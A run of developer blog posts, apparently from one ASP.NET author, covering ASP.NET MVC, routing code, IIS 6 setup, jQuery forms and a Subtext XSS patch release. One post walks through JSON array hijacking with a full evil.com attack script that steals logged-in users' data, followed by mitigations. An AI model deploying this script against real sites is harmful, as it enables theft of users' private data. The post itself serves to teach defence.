code comments suggest edit

I was reading Jeff Atwood’s latest post, Programming: Love it or Leave it when I came across this part, emphasis mine.

Joel implied that good programmers love programming so much they’d do it for no pay at all. I won’t go quite that far, but I will note that the best programmers I’ve known have all had a lifelong passion for what they do. There’s no way a minor economic blip would ever convince them they should do anything else. No way. No how.

Unlike Jeff, I will go that far. I love to code, and I do it for free all the time.

I don’t think Joel meant to imply that programmers would continue to write code for their current employers for free in lieu of any pay. What I think he meant was that programmers who love to code will code for fun as well as profit. They’ll write code outside of their paying jobs.

For example, I took the entire week off last week and spent lots of time with my family, which was wonderful (cue gratuitous picture of kid)! I trained my son in Ninja acrobatics.

cody ninja
acrobatics 

I got my brother completely hooked on Desktop Tower Defense.

brian playing desktop tower
defense

And tried to figure out what sort of mischief my son was involved in, as that face is as guilty as sin.

mischief

However, along with all that family fun, I spent nearly every minute of downtime hacking on Subtext. I went on a huge refactoring binge cleaning up stale code, separating concerns left and right, and replacing the old method of matching requests with ASP.NET Routing.

And it was huge fun!

And I’m not alone. I noticed several streams on Twitter of folks having fun writing code, such as Glenn Block sharing his learning in the open experiences, among others.

Developers I’ve worked with who really love to code, tend to do it for fun, as well as for work. Personally, I don’t think it’s unhealthy as long as it’s not the only thing you do for fun. And I’m not suggesting that if you don’t do it for fun, you don’t love to code. Some people work so much, they don’t have time to do it for fun, but would code for fun if they had copious free time.

As for me, I’ll say it again, I <3 to code.

asp.net, asp.net mvc comments suggest edit

A while ago ScottGu mentioned in his blog that we would try and have an ASP.NET MVC Release Candidate by the end of this year. My team worked very hard at it, but due to various unforeseeable circumstances, I’m afraid that’s not gonna happen. Heck, I couldn’t even get into the office yesterday because the massive dumping of snow. I hope to get in today a little later since I’m taking next week off to be with my family coming in from Alaska.

But do not fret, we’ll have something early next year to release. In the meanwhile, we gave some rough bits to Scott Guthrie to play with and he did not disappoint yet again with a a great detailed post on some upcoming new features both in the runtime and in tooling.

look-ma-no-code-behind Often, it’s the little touches that get me excited, and I want to call one of those out, Views without Code-Behind. This was always possible, of course, but due to some incredible hacking down in the plumbings of ASP.NET , David Ebbo with some assistance from Eilon Lipton, figured out how to get it to work with generic types using your language specific syntax for generic types. If you recall, previously it required using that complex CLR Syntax within the Inherits attribute.

Keep in mind that they had to do this without touching the core ASP.NET bits since ASP.NET MVC is a bin-deployable out-of-band release. David provided some hints on how they did this within his blog in these two posts: ProcessGeneratedCode: A hidden gem for Control Builder writers and Creating a ControlBuilder for the page itself.

 

In the meanwhile, Stephen Walther has been busy putting together a fun new section of the ASP.NET MVC website called the ASP.NET MVC Design Gallery.

In one of my talks about ASP.NET MVC, I mentioned a site that went live with our default drab blue project template (the site has since redesigned its look entirely). The Design Gallery provides a place for the community to upload alternative designs for our default template.

Happy Holidays

Cody Again, I apologize that we don’t have updated bits for you to play with, but we’ll have something next year! In the meanwhile, as the end of this year winds down, I hope it was a good one for you. It certainly was a good one for me. Enjoy your holidays, have a Merry Christmas, Hannukah, Kwanza, Winter Solstice, Over Consumption Day, whatever it is you celebrate or don’t celebrate. ;)

asp.net mvc, asp.net comments suggest edit

ASP.NET Routing is useful in many situations beyond ASP.NET MVC. For example, I often need to run a tiny bit of custom code in response to a specific request URL. Let’s look at how routing can help.

First, let’s do a quick review. When you define a route, you specify an instance of IRouteHandler associated with the route which is given a chance to figure out what to do when that route matches the request. This step is typically hidden from most developers who use the various extension methods such as MapRoute.

Once the route handler makes that decision, it returns an instance of IHttpHandler which ultimately processes the request.

There are many situations in which I just have a tiny bit of code I want to run and I’d rather not have to create both a custom route handler and http handler class.

So I started experimenting with some base handlers that would allow me to pass around delegates.

Warning: the code you are about to see may cause permanent blindness. This was done for fun and I’m not advocating you use the code as-is.

It works, but the readability of all these lambda expressions may cause confusion and insanity.

One common case I need to handle is permanently redirecting a set of URLs to another set of URLs. I wrote a simple extension method of RouteCollection to do just that. In my Global.asax.cs file I can write this:

routes.RedirectPermanently("home/{foo}.aspx", "~/home/{foo}");

This will permanently redirect all requests within the home directory containing the .aspx extension to the same URL without the extension. That’ll come in pretty handy for my blog in the future.

When you define a route, you have to specify an instance of IRouteHandler which handles matching requests. That instance in turn returns an IHttpHandler which ultimately handles the request. Let’s look at the simple implementation of this RedirectPermanently method.

public static Route RedirectPermanently(this RouteCollection routes, 
    string url, string targetUrl) {
  Route route = new Route(url, new RedirectRouteHandler(targetUrl, true));
  routes.Add(route);
  return route;
}

Notice that we simply create a route using the RedirectRouteHandler. As we’ll see, I didn’t even need to do this, but it helped make the code a bit more readable. To make heads or tails of this, we need to look at that handler. Warning: Some funky looking code ahead!

public class RedirectRouteHandler : DelegateRouteHandler {
  public RedirectRouteHandler(string targetUrl) : this(targetUrl, false) { 
  }

  public RedirectRouteHandler(string targetUrl, bool permanently)
    : base(requestContext => {
      if (targetUrl.StartsWith("~/")) {
        string virtualPath = targetUrl.Substring(2);
        Route route = new Route(virtualPath, null);
        var vpd = route.GetVirtualPath(requestContext, 
          requestContext.RouteData.Values);
        if (vpd != null) {
          targetUrl = "~/" + vpd.VirtualPath;
        }
      }
      return new DelegateHttpHandler(httpContext => 
        Redirect(httpContext, targetUrl, permanently), false);
    }) {
    TargetUrl = targetUrl;
  }

  private void Redirect(HttpContext context, string url, bool permanent) {
    if (permanent) {
      context.Response.Status = "301 Moved Permanently";
      context.Response.StatusCode = 301;
      context.Response.AddHeader("Location", url);
    }
    else {
      context.Response.Redirect(url, false);
    }
  }

  public string TargetUrl { get; private set; }
}

I bolded a portion of the code within the constructor. The bolded portion is a delegate (via a lambda expression) being passed to the base constructor. Rather than creating a custom IHttpHandler class, I am telling the base class what code I would want that http handler (if I had written one) to execute in order to process the request. I pass that code as a lambda expression to the base class.

I think in a production system, I’d probably manually implement RedirectRouteHandler. But while I’m having fun, let’s take it further.

Let’s look at the DelegateRouteHandler to understand this better.

public class DelegateRouteHandler : IRouteHandler {
  public DelegateRouteHandler(Func<RequestContext, IHttpHandler> action) {
    HttpHandlerAction = action;
  }

  public Func<RequestContext, IHttpHandler> HttpHandlerAction {
    get;
    private set;
  }

  public IHttpHandler GetHttpHandler(RequestContext requestContext) {
    var action = HttpHandlerAction;
    if (action == null) {
      throw new InvalidOperationException("No action specified");
    }
    
    return action(requestContext);
  }
}

Notice that the first constructor argument is a Func<RequestContext, IHttpHandler>. This is effectively the contract for an IRouteHandler. This alleviates the need to write new IRouteHandler classes, because we can instead just create an instance of DelegateRouteHandler directly passing in the code we would have put in the custom IRouteHandler implementation. Again, in this implementation, to make things clearer, I inherited from DelegateRouteHandler rather than instantiating it directly. To do that would have sent me to the 7^th^ level of Hades immediately. As it stands, I’m only on the 4^th^ level for what I’ve shown here.

The last thing we need to look at is the DelegateHttpHandler.

public class DelegateHttpHandler : IHttpHandler {

  public DelegateHttpHandler(Action<HttpContext> action, bool isReusable) {
    IsReusable = isReusable;
    HttpHandlerAction = action;
  }

  public bool IsReusable {
    get;
    private set;
  }

  public Action<HttpContext> HttpHandlerAction {
    get;
    private set;
  }

  public void ProcessRequest(HttpContext context) {
    var action = HttpHandlerAction;
    if (action != null) {
    action(context);
    }
  }
}

Again, you simply pass this class an Action<HttpContext> within the constructor which fulfills the contract for IHttpHandler.

The point of all this is to show that when you have interfaces with a single methods, they can often be transformed into a delegate by writing a helper implementation of that interface which accepts delegates that fulfill the same contract, or at least are close enough.

This would allow me to quickly hack up a new route handler without adding two new classes to my project. Of course, the syntax to do so is prohibitively dense that for the sake of those who have to read the code, I’d probably recommend just writing the new classes.

In any case, however you implement it, the Redirect and RedirectPermanent extension methods for handling routes is still quite useful.

personal comments suggest edit

UPDATE: There’s a workaround mentioned in the Google Groups. It’s finally resolved.

Ever since I first started using FeedBurner, I was very happy with the service. It was exactly the type of service I like, fire and forget and it just worked. My bandwidth usage went down and I gained access to a lot of interesting stats about my feed.

When I was first considering it, others warned me about losing control over my RSS feed. That led me to pay for the MyBrand PRO feature which enabled me to burn my feed using my own domain name at http://feeds.haacked.com/haacked by simply creating a CNAME from feeds.haacked.com to feeds.feedburner.com.

The idea was that if I ever wanted to reclaim my feed because something happened to FeedBurner or because I simply wanted to change, I could simply remove the CNAME and serve up my feed itself.

That was the idea at least.

This week, I learned the fatal flaw in that plan. When Google bought FeedBurner, nothing really changed immediately, so I was completely fine with it. But recently, they decided to change the domain over to a google domain. I had assumed they would do a CNAME to their own domain for MyBrand users. Instead, I saw that they were redirecting users to their own domain, thus taking control away from me over my own feed and completely nullifying the whole point of the MyBrand service.

That’s right. People who were subscribed via my feeds.haacked.com domain were being redirected to a google domain.

Ok, perhaps I’m somewhat at fault for ignoring the email on November 25 announcing the transition, but I’m a busy guy and that didn’t leave me much time to plan the transition.

And even if I had, I would have still been screwed. I followed the instructions provided and set up a CNAME from feeds.haacked.com to haackedgmail.feedproxy.ghs.google.com and watched the next day as my subscriber count dropped from 11,000 to 827. I’ve since changed the CNAME back to the feedburner.com domain (I tried several variations of the CNAME beforehand) and am resigned to let the redirect happen for now.

In the meanwhile, I’ve set up a CNAME from feeds3.haacked.com to the one they gave me and it still doesn’t work. At the time I write this, http://feeds3.haacked.com/haacked gives a 404 error.

I’m very disappointed in the haphazard manner they’ve made this transition, but I’m willing to give a second chance if they’d only fix the damn MyBrand service.

asp.net mvc, asp.net comments suggest edit

While at PDC, I met Louis DeJardin and we had some lively discussions on various topics around ASP.NET MVC. He kept bugging me about some view engine called Flint? No… Electricity? No… Spark!

I had heard of it, but never got around to actually playing with it until after the conference. And the verdict is, I really like it.

Spark is a view engine for both Monorail and ASP.NET MVC. It supports multiple content area layouts much like master pages, which is one thing that seems to be lacking in many other view engines I’ve seen, which only support a single content area, correct me if I’m wrong. Not only that, but he’s already included IronPython and IronRuby support.

But what I really like about it is the simple way you effectively data bind HTML elements to code. Let’s start with a simple example. Suppose you have an enumeration of products you’re passing to the view from your controller action. Here’s how you might render it in Spark.

<viewdata model="IEnumerable[[Product]]"/>

<ul class="products">
  <li each="var product in ViewData.Model">${product.ProductName}</li>
</ul>

Note the each attribute of the <li> tag contains a code expression. This will repeat the <li> tag once per product. The <viewdata> element there declares the type of the ViewData.Model property.

Spark still supports using code nuggets <% %> when you absolutely need them. For example, when using the BeginForm method, I needed a using block, so I used the code nuggets.

Just for fun, I redid the views of my Northwind sample to replace all the ASPX views with Spark as a demonstartion of using an alternative view engine. Try it out.

UPDATE: Updated to the latest version of ASP.NET MVC and Spark as of ASP.NET MVC 1.0 RC 2.

asp.net mvc, asp.net comments suggest edit

I’m working to try and keep internal release notes up to date so that I don’t have this huge amount of work when we’re finally ready to release. Yeah, I’m always trying something new by giving procrastination a boot today.

These notes were sent to me by Jacques, a developer on the ASP.NET MVC feature team. I only cleaned them up slightly.

The sections below contain descriptions and possible solutions for known issues that may cause the installer to fail. The solutions have proven successful in most cases.

Visual Studio Add-ins

The ASP.NET MVC installer may fail when certain Visual Studio add-ins are already installed. The final steps of the installation installs and configures the MVC templates in Visual Studio. When the installer encounters a problem during these steps, the installation will be aborted and rolled back. MVC can be installed from a command prompt using msiexec to produce a log file as follows:

msiexec /i AspNetMVCBeta-setup.msi /q /l*v mvc.log

If an error occurred the log file will contain an error message similar to the example below.

MSI (s) (C4:40) [20:45:32:977]: Note: 1: 1722 2: VisualStudio_VSSetup_Command 3: C:\Program Files\Microsoft Visual Studio 9.0\Common7\IDE\devenv.exe 4: /setup

MSI (s) (C4:40) [20:45:32:979]: Product: Microsoft ASP.NET MVC Beta – Error 1722. There is a problem with this Windows Installer package. A program run as part of the setup did not finish as expected. Contact your support personnel or package vendor. Action VisualStudio_VSSetup_Command, location: C:\Program Files\Microsoft Visual Studio 9.0\Common7\IDE\devenv.exe, command: /setup

Error 1722. There is a problem with this Windows Installer package. A program run as part of the setup did not finish as expected. Contact your support personnel or package vendor. Action VisualStudio_VSSetup_Command, location: C:\Program Files\Microsoft Visual Studio 9.0\Common7\IDE\devenv.exe, command: /setup

This error is usually accompanied by a corresponding event that will be logged in the Windows Event Viewer:

Faulting application devenv.exe, version 9.0.30729.1, time stamp 0x488f2b50, faulting module unknown, version 0.0.0.0, time stamp 0x00000000, exception code 0xc0000005, fault offset 0x006c0061, process id 0x10e0, application start time 0x01c9355ee383bf70

In most cases, removing the add-ins before installing MVC, and then reinstalling the add-ins, will resolve the problem. ASP.NET MVC installations have been known to run into problems when the following add-ins were already installed.:

  • PowerCommands
  • Clone Detective

Cryptographic Services

In a few isolated cases, the Windows Event Viewer may contain an Error event with event source CAPI2 and event ID 513. The event message will contain the following: Cryptograhpic Services failed while processing the OnIdentity() call in the System Writer Object.

The article at http://technet.microsoft.com/en-us/library/cc734021.aspx describes various steps a user can take to correct the problem, but in some cases simply stopping and restarting the Cryptographic services should allow the installation to proceed.

subtext comments suggest edit

A Subtext user found a security flaw which opens up Subtext to potential XSS attacks via comment. This flaw was introduced in Subtext 2.0 by the feature which converts URLs to anchor tags. If you are still on 1.9.5b or before, you are not affected by this issue. If you upgraded to 2.0, then please update to 2.1 as soon as you can.

Note that you can edit comments in the admin section of your blog to fix comments if someone attempts to abuse your comments.

This release has several other bug fixes and usability improvements as well. I started to replace the use of UpdatePanel in some areas with straight up jQuery, which ends up reducing bandwidth usage.

List of bug fixes and changes:

  • Fixed Medium Trust issue by removing calls to UrlAuthorizationModule.CheckUrlAccessForPrincipal which is not allowed from medium trust.
  • Removed email address from RSS feed by default and added Web.config setting to change this in order to protect against spamming.
  • Upgraded Jayrock assembly to fix the issue with VerificationException being thrown.
  • Fixed code which strips HTML from comments when displaying recent comments. Certain cases would cause CPU spike.
  • Fixed Remember Me functionality for the OpenID login.
  • Fixed a bug with adding categories in which an error was displayed, even though the category was added correctly.
  • Fixed a bug in the code to convert URLs to anchor tags.
  • Upgraded jQuery to version 1.2.6
  • Improved the timezone selection UI with jQuery

I was the one who implemented the feature at fault. Unfortunately the way the feature was written made it such that it reversed earlier scrubbing of the HTML due to a mistake in how I used SgmlReader. I apologize for the mistake. It won’t happen again.

Many thanks go out to Adrian Bateman for pointing out the bug and the fix.

Notes for new installations

The install package includes a default Subtext2.1.mdf file for SQL 2005 Express. If you plan to run your blog off of SQL Server Express, installation is as easy as copying the install files to your Web Root. If you’re not using SQL Express, but plan to use SQL Server 2005, you can attach to the supplied .mdf file and use it as your database.

Notes for upgrading

In the app_data folder of the install package, feel free to delete the database files there. They only apply to new installs. Subtext 2.1 does not have any schema changes, so upgrading should be smooth.

Full upgrade instructions are on the Subtext project website.

Download it here. Note that the file Subtext-2.1.0.5.zip is the one you want to use to upgrade your site. The other file contains the source in case you want to build the solution.

subtext comments suggest edit

How many of you out there who use Subtext host it on a hosting provider who does not have ASP.NET 3.5 available? I’d like to make the next version of Subtext 2 take a dependency on 3.5. Note that it wouldn’t have to take a dependency on SP1. Just ASP.NET 3.5 proper as I believe most hosting providers support it.

If you’re stuck with a hosting provider who only supports ASP.NET 2.0 and not 3.5, do leave a comment.

Note that we’re still in the planning stages for Subtext 3, which will be built on ASP.NET MVC. In the meantime, I still plan to update Subtext 2.*. In fact, much of the work we will do for Subtext 3 may be prototyped in 2.* and ported over.

asp.net mvc, asp.net comments suggest edit

UPDATE: If you run ASP.NET MVC on IIS 6 with ASP.NET 4, setting up extensionless URLs just got easier. In most cases, it should just work.

I’ve seen a lot of reports where people have trouble getting ASP.NET MVC up and running on IIS 6. Sometimes the problem is a very minor misconfiguration, sometimes it’s a misunderstanding of how IIS 6 works.

In this post, I want to provide a definitive guide to getting ASP.NET MVC running on IIS 6. I will walk through using the .mvcor .aspx file extension for URLs first, then I will walkthrough using extension-less URLs.

If you’re running into problems with IIS 6 and ASP.NET MVC, I recommend trying to walk through all the steps in this post, even if you’re not interested in using the .mvcor.aspx mapping. Some of the lessons learned here have more to do with how ASP.NET itself works with IIS 6 than anything specific to ASP.NET MVC.

Initial Setup

To make this easy, start Visual Studio and create a new ASP.NET MVC Web Application Projecton the machine with IIS 6. If your IIS 6 machine is on a different machine, you can skip this step. We can deploy the site to the machine later.

After you create the project, right click the project and select Properties. The project properties editor will open up. Select the Web tab and select Use IIS Web Server.Click on the image for a full size view.

Project Properties
Editor

In the project URL, I gave it a virtual application name of Iis6DemoWeb and then checked Create Virtual Directory. A dialog box should appear and you should now have an IIS virtual application (note this is different than a virtual directory, as indicated by the gear looking icon) under your Default Web Site.

IIS 6 Virtual Web
Application

Using a URL File Extensions

When you run the ASP.NET MVC installer, it will set up an ISAPI mapping in IIS 6 to map the .mvc extension to the aspnet_isapi.dll. This is necessary in order for IIS to hand off requests using the .mvc file extension to ASP.NET.

If you’re planning to use extension-less URLs, you can skip this section, but it may be useful to read anyways as it has some information you’ll need to know when setting up extension-less URLs.

Mapping .mvc to ASP.NET

If you plan to use the .mvc URL extension, and are going to deploy to IIS 6 on a machine that does not have ASP.NET MVC installed, you’ll need to create this mapping by performing the following steps.

One nice benefit of using the .aspx extension instead of .mvc is that you don’t have to worry about mapping the .aspx extension. It should already be mapped assuming you have ASP.NET installed properly on the machine.

For the rest of you, start by right clicking on the Virtual Application node (IIS6DemoWeb in this case) and select Properties. You should see the following dialog.

Website
Properties

Make sure you’re on the Virtual Directory tab and select Configuration. Note that you can also choose to make this change on the root website, in which case the tab you’re looking for is Home Directory not Virtual Directory.

This will bring up the Application Configuration dialog which displays a list of ISAPI mappings. Scroll down to see if .mvc is in the list.

application
mappings

In the screenshot, you can see that .mvc is in the list. If it is in the list on your machine, you can skip ahead to the next section. If it’s not in the list for you, let’s add it to the list. You’re going to need to know the path to the aspnet_isapi.dll first. On my machine, it is:

c:\windows\microsoft.net\framework\v2.0.50727\aspnet_isapi.dll

It might differ on your machine. One easy way to find out is to find the .aspx extension in the list and double click it to bring up the mapping dialog.

extension
mapping

Now you can copy the path in the Executable text box to your clipboard. This is the path you’ll want to map .mvc to.

Click Cancel to go back to the Application Configuration dialog and then click Addwhich will bring up an empty Add/Edit Application Extension Mapping dialog.

Fill in the fields with the exact same values as you saw for .aspx, except the extension should be “.mvc” without the quotes. Click OK and you’re done with the mapping.

Specifying Routes with an Extension

Before we run the application, we need to update the default routes to look for the file extension we chose, whether it be .mvc or .aspx extension. Here is the RegisterRoutes method in my Global.asax.cs file using the .mvc extension. If you want to use the .aspxextension, just replace {controller}.mvc with {controller}.aspx.

public static void RegisterRoutes(RouteCollection routes)
{
  routes.IgnoreRoute("{resource}.axd/{*pathInfo}");

  routes.MapRoute(
    "Default",
    "{controller}.mvc/{action}/{id}",
    new { action = "Index", id = "" }
  );

  routes.MapRoute(
    "Root",
    "",
    new { controller = "Home", action = "Index", id = "" }
  );
}

Note that because the second route, “Default”, has a literal extension as part of the URL segment, it cannot match a request for the application root. That’s why I have a third route named “Root” which can match requests for the application root.

Now, I can hit CTRL+F5 (or browse my website) and I should see the following home page.

Home
Page

And about page.

About
Page

Notice that the URLs contain the .mvc extension.

Uh oh, Houston! We have a problem

Of course, you’re going to want to be able to navigate to the web root for your project. Notice what happens when you navigate to /Iis6DemoWeb.

Root Home
Page

This is a bug in the Default.aspx.cs file included with our default template which I discovered as I was writing this walkthrough. We’ll fix it right away, but I can provide the fix here as it’s insanely easy.

Note: If you received a File Not Found error when visiting the root, then you might not have Default.aspx mapped as a default document. Follow these steps to add Default.aspx as a default document.

As I’ve written before, this file is necessary for IIS 6, IIS 7 Classic Mode, and pre SP1 Cassini, but not IIS 7 Integrated. So if you’re using Cassini with Visual Studio 2008 SP1 and deploying to IIS 7 Integrated, you can delete Default.aspx and its sub-files.

In the meanwhile, the fix is to make the following change.

Change:

HttpContext.Current.RewritePath(Request.ApplicationPath);

To

HttpContext.Current.RewritePath(Request.ApplicationPath, false);

If you created your website in the IIS root rather than a virtual application, you would never have noticed this issue. But in the virtual application, the URL to the stylesheet rendered contained the virtual application name, when it shouldn’t. Changing the second argument to false fixes this.

IIS6 Extension-less URLs

Ok, now we’re ready to try this with extension-less URLs using the infamous “Star mapping” or “Wildcard mapping” feature of IIS 6. I say infamous because there is a lot of concern over the performance implications of doing this. Of course, you should measure the performance of your site for yourself to determine if it is really a problem.

The first step is to go back to the Application Configuration Properties dialog like we did when configuring the .mvc ISAPI mapping (see, I told you that information might come in useful later).

application
mappings

Next to the Wildcard application maps section, click the Insert… button.

wildcard extension
mapping

This brings up the wildcard application mapping dialog. Enter the path to the aspnet_isapi.dll. You can follow the trick we mentioned earlier for getting this path.

Don’t forget to uncheck the Verify that file exists checkbox! This is one of the most common mistakes people make.

If you’ve been following along everything in this post, you’ll need to go back and reset the routes in your Global.asax.cs file to the default routes. You no longer need the .mvc file extension in the routes. At this point, you can also remove Default.aspx if you’d like. It’s not needed.

Now when you browse your site, your URLs will not have a file extension as you can see in the following screenshots.

Home page without
extension

About page without
extension

 

Final Tips

One thing to understand is that an ASP.NET project is scoped to the Website or Virtual Application in which it resides. For example, in the example I have here, we pointed a Virtual Application named IIS6DemoWeb to the directory containing my ASP.NET MVC web application.

Thus, only requests for that virtual application will be handled by my web application. I cannot make a request for http://localhost/ in this case and expect it to be handled by my application. Nor can I expect routing in this application to handle requests for another root directory such as http://localhost/not-my-app/.

This might seem like an obvious thing to say, but I know it trips some people up. Also, in the example I did here, I used a virtual application for demonstration purposes. It’s very easy to point a root Website in IIS to my application and run it in http://localhost/ rather than a virtual application. This is not a problem. I hope you found this helpful.

asp.net comments suggest edit

As I mentioned before, I’m really excited that we’re shipping jQuery with ASP.NET MVC and with Visual Studio moving forward. Just recently, we issued a patch that enables jQuery Intellisense to work in Visual Studio 2008.

But if you’re new to jQuery, you might sit down at your desk ready to take on the web with your knew found JavaScript light saber, only to stare blankly at an empty screen asking yourself, “Is this it?”

See, as exciting and cool as jQuery is, it’s really the vast array of plugins that really give jQuery its star power. Today I wanted to play around with integrating two jQuery plugins – the jQuery Form Plugin used to submit forms asynchronously and the jQuery Validation plugin used to validate input.

Since this is a prototype for something I might patch into Subtext, which still targets ASP.NET 2.0, I used Web Forms for the demo, though what I do here easily applies to ASP.NET MVC.

Here are some screenshots of it in action. When I click the submit button, it validates all the fields. The email field is validated after the input loses focus.

validation

When I correct the data and click “Send Comment”, it will asynchronously display the posted comment.

async-comment-response

Let’s look at the code to make this happen. Here’s the relevant HTML markup in my Default.aspx page:

<div id="comments" ></div>

<form id="form1" runat="server">
<div id="comment-form">
  <p>
    <asp:Label AssociatedControlID="title" runat="server" Text="Title: " />
    <asp:TextBox ID="title" runat="server" CssClass="required" />
  </p>
  <p>
    <asp:Label AssociatedControlID="email" runat="server" Text="Email: " />
    <asp:TextBox ID="email" runat="server" CssClass="required email" />
  </p>
  <p>
    <asp:Label AssociatedControlID="body" runat="server" Text="Body: " />
    <asp:TextBox ID="body" runat="server" CssClass="required" />
  </p>
  <input type="hidden" name="<%= submitButton.ClientID %>" 
    value="Send Comment" />
  <asp:Button runat="server" ID="submitButton" 
    OnClick="OnFormSubmit" Text="Send Comment" />
</div>
</form>

I’ve called out a few important details in code. The top DIV is where I will put the response of the AJAX form post. The CSS classes on the elements provide validation meta-data to the Validation plugin. What the heck is that hidden input doing there?

Notice that hidden input that duplicates the field name of the submit button. That’s the ugly hack part I did. The jQuery Form plugin doesn’t actually submit the value of the input button. I needed that to be submitted in order for the code behind to work. When you click on the submit button, a method named OnFormSubmit gets called in the code behind.

Let’s take a quick look at that method in the code behind.

protected void OnFormSubmit(object sender, EventArgs e) {
    var control = Page.LoadControl("~/CommentResponse.ascx") 
        as CommentResponse;
    control.Title = title.Text;
    control.Email = email.Text;
    control.Body = body.Text;

    var htmlWriter = new HtmlTextWriter(Response.Output);
    control.RenderControl(htmlWriter);
    Response.End();
}

Notice here that I’m just instantiating a user control, setting some properties of the control, and then rendering it to the output stream. I’m able to access the values in the submitted form by accessing the ASP.NET controls.

This is sort of like the Web Forms equivalent of ASP.NET MVC’s partial rendering ala the return PartialView() method. Here’s the code for that user control.

<%@ Control Language="C#" CodeBehind="CommentResponse.ascx.cs" 
    Inherits="WebFormValidationDemo.CommentResponse" %>
<div style="color: blue; border: solid 1px brown;">
    <p>
        Thanks for the comment! This is what you wrote.
    </p>
    <p>
        <label>Title:</label> <%= Title %>
    </p>
    <p>
        <label>Email:</label> <%= Email %>
    </p>
    
    <p>
        <label>Body:</label> <%= Body %>
    </p>
</div>

Along with its code behind.

public partial class CommentResponse : System.Web.UI.UserControl {
    public string Title { get; set; }
    public string Email { get; set; }
    public string Body { get; set; }
}

Finally, let’s look at the script in the head section that ties this all together and makes it work.

<script src="scripts/jquery-1.2.6.min.js" type="text/javascript"></script>
<script src="scripts/jquery.validate.js" type="text/javascript"></script>
<script src="scripts/jquery.form.js" type="text/javascript"></script>
<% if (false) { %>
<script src="scripts/jquery-1.2.6-vsdoc.js" type="text/javascript"></script>
<% } %>
<script type="text/javascript">
    $(document).ready(function() {
        $("#<%= form1.ClientID %>").validate({
            submitHandler: function(form) {
                jQuery(form).ajaxSubmit({
                    target: "#comments"
                });
            }
        });
    });
</script>

The if(false) section is for the jQuery intellisense, which only matters to me at design time, not runtime.

What we’re doing here is getting a reference to the form and calling the validate method on it. This sets up the form for validation based on validation meta data stored in the CSS classes for the form inputs. It’s possible to do this completely external, but one nice thing about this approach is now you can style the fields based on their validation attributes.

We then register the ajaxSubmit method of the jQuery Form plugin as the submit handler for the form. So when the form is valid, it will use the ajaxSubmit method to post the form, which posts it asynchronously. In the arguments to that method, I specify the #comments selector as the target of the form. So the response from the form submission gets put in there.

As I mentioned before, the hidden input just ensures that ASP.NET runs its lifecycle in response to the form post so I can handle the response in the button’s event handler. In ASP.NET MVC, you’d just point this to an action method instead and not worry about adding the hidden input.

In any case, play around with these two plugins as they provide way more rich functionality than what I covered here.

asp.net, code comments suggest edit

I recently learned about a very subtle potential security flaw when using JSON. While subtle, it was successfully demonstrated against GMail a while back. The post, JSON is not as safe as people think it is, covers it well, but I thought I’d provide step-by-step coverage to help make it clear how the exploit works.

The exploit combines Cross Site Request Forgery (CSRF) with a JSON Array hack allowing an evil site to grab sensitive user data from an unsuspecting user. The hack involves redefining the Array constructor, which is totally legal in Javascript.

Let’s walk through the attack step by step. Imagine that you’re logged in to a trusted site. The site makes use of JavaScript which makes GET requests to a JSON service:

GET: /demos/secret-info.json

that returns some sensitive information:

["Philha", "my-confession-to-crimes", 7423.42]

Now you need to be logged in to get this data. If you go to a fresh browser and type in the URL to /demos/secret-info.json, you’ll get redirected to a login page (in my demo, that’s not the case. You’ll have to trust me on this).

But now suppose you accidentally visit evil.com and it has the following scripts in the <head /> section. Notice the second script references the JSON service on the good site.


<script type="text/javascript">
var secrets;

Array = function() {
  secrets = this;
};
</script>

<script src="https://haacked.com/demos/secret-info.json" 
  type="text/javascript"></script>

<script type="text/javascript">

  var yourData = '';
  var i = -1;
  while(secrets[++i]) {
    yourData += secrets[i] + ' ';
  }

  alert('I stole your data: ' + yourData);
</script>

When you visit the page, you will see the following alert dialog…

evil alert message

…which indicates that the site was able to steal your data.

How does this work?

There are two key parts to this attack. The first is that although browsers stop you from being able to make cross-domain HTTP requests via JavaScript, you can still use the src attribute of a script tag to reference a script in another domain and the browser will make a request and load that script.

The worst part of this is that the request for that script file is being made by your browser with your credentials. If your session on that site is still valid, the request will succeed and now your sensitive information is being loaded into your browser as a script.

That might not seem like a problem at this point. So what if the data was loaded into the browser. The browser is on your machine and a JSON response is not typically valid as the source for a JavaScript file. For example, if the response was…

{"d": ["Philha", "my-confession-to-crimes", 7423.42]}

…pointing a script tag to that response would cause an error in the browser. So how’s the evil guy going to get the data from my browser to his site?

Well It turns out that returning a JSON array is valid as the source for a JavaScript script tag. But the array isn’t assigned to anything, so it would evaluate and then get discarded, right?. What’s the big deal?

That’s where the second part of this attack comes into play.

var secrets;
Array = function() {
  secrets = this;
};

JavaScript allows us to redefine the Array constructor. In the evil script above, we redefine the array constructor and assign the array to a global variable we defined. Now we have access to the data in the array and can send it to our evil site.

In the sample I posted above, I just wrote out an alert. But it would be very easy for me to simply document.write a 1 pixel image tag where the URL contains all the data in the JSON response.

Mitigations

One common mitigation is to make sure that your JSON service always returns its response as a non-array JSON object. For example, with ASP.NET Ajax script services, they always append a “d” property to the response, just like I demonstrated above. This is described in detail in this quickstart:

The ASP.NET AJAX library uses the “d” parameter formatting for JSON data. This forces the data in the example to appear in the following form:

{“d” : [“bankaccountnumber”, “$1234.56”] }

Because this is not a valid JavaScript statement, it cannot be parsed and instantiated as a new object in JavaScript. This therefore prevents the cross-site scripting attack from accessing data from AJAX JSON services on other domains.

The Microsoft Ajax client libraries automatically strip the “d” out, but other client libraries, such as JQuery, would have to take the “d” property into account when using such services.

Another potential mitigation, one that ASP.NET Ajax services do by default too, is to only allow POST requests to retrieve sensitive JSON. Since the script tag will only issue a GET request, a JSON service that only responds to POST requests would not be susceptible to this attack, as far as I know.

For those that keep track, this is why I asked on Twitter recently how many use GET requests to a JSON endpoint.

How bad is this?

It seems like this could be extremely bad as not many people know about this vulnerability. After all, if GMail was successfully exploited via this vulnerability, who else is vulnerable?

The good news is that it seems to me that most modern browsers are not affected by this. I have a URL you can click on to demonstrate the exploit, but you have to use FireFox 2.0 or earlier to get the exploit to work. It didn’t work with IE 6, 7, 8, FireFox 3 nor Google Chrome.

Take this all with a grain of salt of course because there may be a more sophisticated version of this exploit that does work with modern browsers.

So the question I leave to you, dear reader, is given all this, is it acceptable to you for a JSON service containing sensitive data to require a POST request to obtain that data, or would that inspire righteous RESTafarian rage?

asp.net mvc comments suggest edit

Pop quiz. What would you expect these three bits of HTML to render?

<!-- no new lines after textarea -->
<textarea>Foo</textarea>

<!-- one new line after textarea -->
<textarea>
Foo</textarea>

<!-- two new lines after textarea -->
<textarea>

Foo</textarea>

